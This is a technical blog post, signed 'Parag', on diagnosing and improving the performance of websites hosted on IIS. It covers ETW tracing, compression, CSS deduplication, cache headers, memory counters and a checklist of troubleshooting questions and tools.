ETW (Event tracing for windows) is yet another excellent tool to understand performance, throughput of the server and other issues through extensive logging mechanism. It traces each and every call within the server till the time request reaches to server (HTTP.SYS in case of win 2k3) and served back to the client, what all operations are involved for that individual request. I would like to take an example, where ETW tracing proved to be useful in diagnosing performance issues. After publishing a website to another server, very first request to any aspx/asp page was taking huge amount of time. Running an ETW trace on that server resulted in a log file upon investigating which it was found that first request was taking long time because of ISAPI filter installed on top of IIS was taking long time to load hence blocking all other operations.
Now we can understand & define performance and know some ways to measure it we will move on to how we can improve performance of a given web application. Again, there is no defined way to improve the performance. It includes making guesses, see if they work, if they do, celebrate and make another guess. If they don’t, undo it and make another guess.

Improving end user performance In the internet scenario we can define key issues: –
Download time
According to a survey, still more than 50% of internet users still have narrow band connections let’s say, modem. So if testing and verification is done in a high speed LAN environment, we cannot understand and foresee customer problems that might be running on narrow band connection.
So specific items we can look at to address such key issues are: –

  • Download size is performance key driver on low band connections. How do we fix download size? One of the best ways is to enable IIS compression.
  • Try to split up the helper content (style sheets, client side scripts). For example, if you don’t need a specific JS function/Style sheet for a page currently being requested, do not download it!! Download it only when you need it.
  • Do not make copies of things (script code, style sheets etc.) that are being downloaded and have duplication in website. Let’s understand it with an example,

Bad CSS (Replication of data)
.article-ByLine  { font-family: Tahoma,sans-serif; font-size: 9.5pt; font-style: normal; line-height: normal; font-weight: normal; color: #000000} .article-Caption {font-family: Tahoma,sans-serif; font-size: 8pt; font-style: normal; line-height: normal; font-weight: normal; color: #000000} .article-Headline { font-family: Tahoma,sans-serif; font-size: 14pt; font-style: normal; line-height: normal; font-weight: bold; color: #000000}
In above example, highlighted text is same for each definition except font-size. It results, in increased payload. Same CSS can be represented as: –
BODY {font-family: Tahoma,sans-serif; font-style: normal; line-height: normal; font-weight: normal; color: #000000} .article-ByLine {font-size: 9.5pt;} .article-Caption { font-size: 8pt} .article-Headline {font-size: 14pt;font-weight:bold}

  • Set HTTP expire header for all images and for HTML so proxy servers & browsers make fewer calls to web serve. For more information, visit Content Expiration.
  • Use SSL certificates only when needed and only for content that requires security. Because SSL uses complex encryption that consumes considerable processor resources, it takes much longer to retrieve and send data from SSL-enabled directories. Also, keep these pages free of other elements that consume resources, such as images.
  • Another thing to verify is “connection=keep-alive” state for each TCP connection. If it is turned off every file requires a new TCP connection which is not good for a slow connection.
  • Set expiration dates on files – When customer returns to a web page, IE already has most of the files for the page in its cache, but it does not use these files if the expiration dates are in the past. Instead, IE sends a GET request to the server for the file, indicating the date of the file in the cache. If the file has not changed, the server sends a Not Modified message. This GET/Not-Modified sequence costs the client a roundtrip.
  • Identify slow loading files which will provide clues what needs to be improved. Causes of very long load times can include server capacity issues, network congestion. This data can be collected by running log parser on IIS logs or by using ETW tracing mechanism.
  • Files often contain TABS, spaces, newlines, and comments contributing some % of page size. Try removing those.

Hardware Resources
If CPU is the issue, think about caching so that we don’t compute so often. Is HTTP compression causing this to happen etc.?
If memory is an issue, check if we are caching too much, how many copies of same data we are caching etc. So there is a tradeoff, which is hitting you much, CPU or Memory and take the judgment accordingly. You can monitor memory by making use of existing performance monitor counters. Here are few of them: –

  • Monitoring Available System Memory – Memory\Available Bytes,
  • Monitoring Paging – Memory\Page Faults/sec, Memory\Pages Input/sec, Memory\Page Reads/sec, Memory\Transition Faults/sec (If these numbers are low, server is responding to requests quickly. If these numbers are high, investigate whether we have dedicated too much memory to the caches, leaving too little memory for the rest of the system. If reducing cache sizes does not improve system performance, we might need to increase the amount of RAM on server)
  • To know more about IIS performance counters, visit http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/0a6c9f07-a70c-4c3d-b93d-5dfef593c744.mspx?mfr=true.

If disk is slow determine who is causing file access. Best tool available for this purpose is Filemon. For example, it could be possible that web site logging is turned on causing several file I/O’s hence degrading the performance.
Till now we have discussed key performance pillars, how we can measure them and ways to fix them.
Performance issues can be difficult to troubleshoot and often take a long time to determine the root cause & resolve. This process can be less painful if we collect good data and then use that information further to solve the issue. So how can we collect good data? By asking as many questions we can. For example,

  • When the problem did started happening? Was there any change or update on the server prior to the problem?
  • What are the different symptoms? Is there one or more error messages shown?
  • Is there a High CPU on the server at the time of the problem?
  • Is the worker process consuming high memory (Approx 500-600MB+) at the time of the problem?
  • What are the technologies (including third-party) involved?
  • Are there any COM/COM+ components being used? If so, are they STA or MTA?
  • Does the problem happen at a specific interval?
  • Do ASPX/ASP/ HTML pages in the same/different Applications on the same server work fine?
  • Is the issue specific to any pages in the application or only to some pages?
  • Does a simple hello world aspx page work fine?
  • What is the architecture of the application?
  • Is Data Access involved? If so, does the issue happen with any page connecting to a particular database?
  • If Data Access is involved, does any page that does not do data access work fine?
  • What is the application workflow with respect to the current problem?
  • What are the steps to repro the problem?
  • Is problem reproducible in test environment?

Once we have gathered the above data I am pretty sure we will have a good idea on where to focus. Based on symptoms and data we need to decide if the problem is on client side, server side, database/other tier or combination of one or more of these. There are several tools available that can now assist us to find root cause.

  • Network monitoring tools (netmon) can be used to examine network related problems, page rendering delays etc.
  • File monitoring (filemon) and Registry monitoring (regmon) tool can help us in identifying file system and registry based access issues.
  • ETW (Event tracing for windows) which can be used to trace internal IIS/kernel (HTTP.SYS in case of win2k3) events and pinpoint web bottlenecks on the server and often determine where to tune server for improved performance.
  • WinDbg/CorDbg – Used for advanced debugging by analyzing memory dumps on production server without even going through source code.

I hope this article gets you going to start troubleshooting and analyzing performance issues for a given website hosted on IIS.
Until next time,
–Parag